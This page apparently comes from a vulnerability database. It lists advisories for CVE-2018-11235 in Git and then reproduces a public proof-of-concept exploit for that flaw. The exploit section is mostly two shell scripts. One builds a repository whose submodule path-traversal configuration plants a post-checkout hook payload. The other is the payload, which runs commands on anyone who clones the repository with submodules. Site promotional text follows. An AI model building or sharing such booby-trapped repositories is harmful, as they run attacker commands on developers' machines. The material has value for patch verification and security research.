| Reporter | Title | Published | Views | Family All 167 |
|---|---|---|---|---|
| Git < 2.17.1 - Remote Code Execution Exploit | 1 Jun 201800:00 | – | zdt | |
| Sourcetree Remote Code Execution Exploit | 25 Jul 201800:00 | – | zdt | |
| Libgit2 -- Fixing insufficient validation of submodule names | 29 May 201800:00 | – | freebsd | |
| Git -- Fix memory out-of-bounds and remote code execution vulnerabilities (CVE-2018-11233 and CVE-2018-11235) | 29 May 201800:00 | – | freebsd | |
| Amazon Linux 2 : git (ALAS-2018-1035) | 12 Jun 201800:00 | – | nessus | |
| Amazon Linux AMI : git (ALAS-2018-1035) | 12 Jun 201800:00 | – | nessus | |
| Atlassian SourceTree 0.5.1.0 < 2.6.9 Remote Code Execution Vulnerabilities | 11 Sep 201800:00 | – | nessus | |
| Atlassian SourceTree 1.0b2 < 2.7.6 Remote Code Execution Vulnerabilities (Mac OSX) | 11 Sep 201800:00 | – | nessus | |
| CentOS 7 : git (CESA-2018:1957) | 25 Jun 201800:00 | – | nessus | |
| Debian DSA-4212-1 : git - security update | 30 May 201800:00 | – | nessus |
# Exploit Title: Git (code execution)
# Date: 2018-05-29
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com <http://jameelnabbo.com/>
# Vendor Homepage: https://github.com/git/git <https://github.com/git/git>
# CVE: CVE-2018-11235
#Version: <=2.17.1
# Tested on Kali Linux
P0C:
Create two files:
pwned.sh: the file which will contain our commands to be executed
commit.sh the fole which contain a normal build with a bit of calls to our pwned.sh file
add the follwing to Pwned.sh:
#!/bin/sh
cat << EOF
#here we can put our lovely commands
Exploited! : $(ifconfig)
EOF
#--------
Add the follwing to commit.sh file:
#!/bin/sh
set -e
repo_dir="$PWD/repo"
#change it to any other Repo
repo_submodule='https://github.com/JameelNabbo/SmartWorm'
git init "$repo_dir"
cd "$repo_dir"
git submodule add "$repo_submodule" pwned
mkdir modules
cp -r .git/modules/pwned modules
cp ../pwned.sh modules/pwned/hooks/post-checkout
git config -f .gitmodules submodule.pwned.update checkout
git config -f .gitmodules --rename-section submodule.pwned submodule.../../modules/pwned
git add modules
git submodule add "$repo_submodule"
git add SmartWorm
git commit -am pwned
echo "All done, now \`git clone --recurse-submodules \"$repo_dir\" dest_dir\`”
——————
Solution:
https://www.edwardthomson.com/blog/upgrading_git_for_cve2018_11235.htmlData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation